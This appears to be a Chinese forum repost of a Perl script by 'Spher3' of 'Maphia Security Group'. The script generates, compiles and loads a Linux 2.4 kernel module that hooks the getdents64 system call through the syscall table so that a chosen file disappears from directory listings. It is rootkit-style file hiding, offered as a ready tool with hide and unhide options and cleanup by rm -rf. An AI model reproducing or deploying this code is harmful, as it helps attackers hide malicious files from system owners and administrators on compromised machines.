文章作者：Spher3
复制内容到剪贴板
代码:
#!/usr/bin/perl
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Maphia Security Group #
# #
# * Confidential Source Material * #
# #
# Hide File From a Kernel 2.4.x - work in progress #
# #
# greetz: mozako and the other l33t :) #
# #
# hide_source.c taken from [url]http://darkangel.antifork.org/publications/lkepd.html[/url] #
# #
# wrote by Spher3 #
# #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
print "\n";
print "\t" , <<END__pre_mode;
Maphia Security Group - Hider v.0.1alpha
END__pre_mode
print "[+] Writing Module for hide file\n";
open(Mod, ">>hide_source.c") || die "[-] I can't Create Module.\n";
print Mod <<EOF___module;
#define __KERNEL__
#define MODULE
#define LINUX
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <linux/mm.h>
#include <asm/uaccess.h>
#include <sys/syscall.h>
MODULE_LICENSE("GPL");
struct linux_dirent64 {
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[0];
};
extern void *sys_call_table[];
char *hide = "hide.pl";
long (*o_getdents64) (unsigned int fd,
struct linux_dirent64 * dirp,
unsigned int count);
long
n_getdents64(unsigned int fd, struct linux_dirent64 *dirp,
unsigned int count)
{
struct linux_dirent64 *dir,*ptr,
*tmp,
*prev = NULL;
long i,rec=0,
ret = (*o_getdents64) (fd, dirp, count);
if (ret <= 0)
return ret;
if ((tmp = (struct linux_dirent64 *) kmalloc(ret, GFP_KERNEL)) == NULL)
return ret;
copy_from_user(tmp, dirp, ret);
ptr= dir = tmp;
i = ret;
while (((unsigned long ) dir) < (((unsigned long) tmp) + i)) {
rec=dir->d_reclen;
if (strncmp(hide, dir->d_name,strlen(hide))==0) {
if (!prev) {
ret -= rec;
ptr =
(struct linux_dirent64 *) (((unsigned long) dir) +rec);
} else {
prev->d_reclen += rec;
memset(dir, 0, rec);
}
} else
prev = dir;
dir=(struct linux_dirent64 *)(((unsigned long)dir)+rec);
}
copy_to_user(dirp,ptr,ret);
kfree(tmp);
return ret;
}
int
init_module(void)
{
o_getdents64 = sys_call_table[SYS_getdents64];
sys_call_table[SYS_getdents64] = n_getdents64;
return 0;
}
void
cleanup_module(void)
{
sys_call_table[SYS_getdents64] = o_getdents64;
}
EOF___module
close(Mod);
print "[+] Compiling Module for hide file.\n";
system("gcc -c -O3 -I /usr/src/linux/include/ hide_source.c -o hide_module.o");
print "\n\t-==[Select an option]==-\n";
print "\n[0] Hide me\n";
print "[1] Find me\n";
print "[2] End\n";
print "\n:";
$select = <stdin>;
chomp($select);
&hide if($select eq '0');
&dehide if($select eq '1');
&end if($select eq '2');
sub hide {
system("insmod hide_module.o");
print "Hidding Complete, find $0 if you can.\n";
system("rm -rf hide_*");
exit;
}
sub dehide {
system("rmmod hide_module");
print "De-Hidding Complete, find $0 with ls.\n";
system("rm -rf hide_*");
exit;
}
sub end {
print "End.\n";
exit;
}
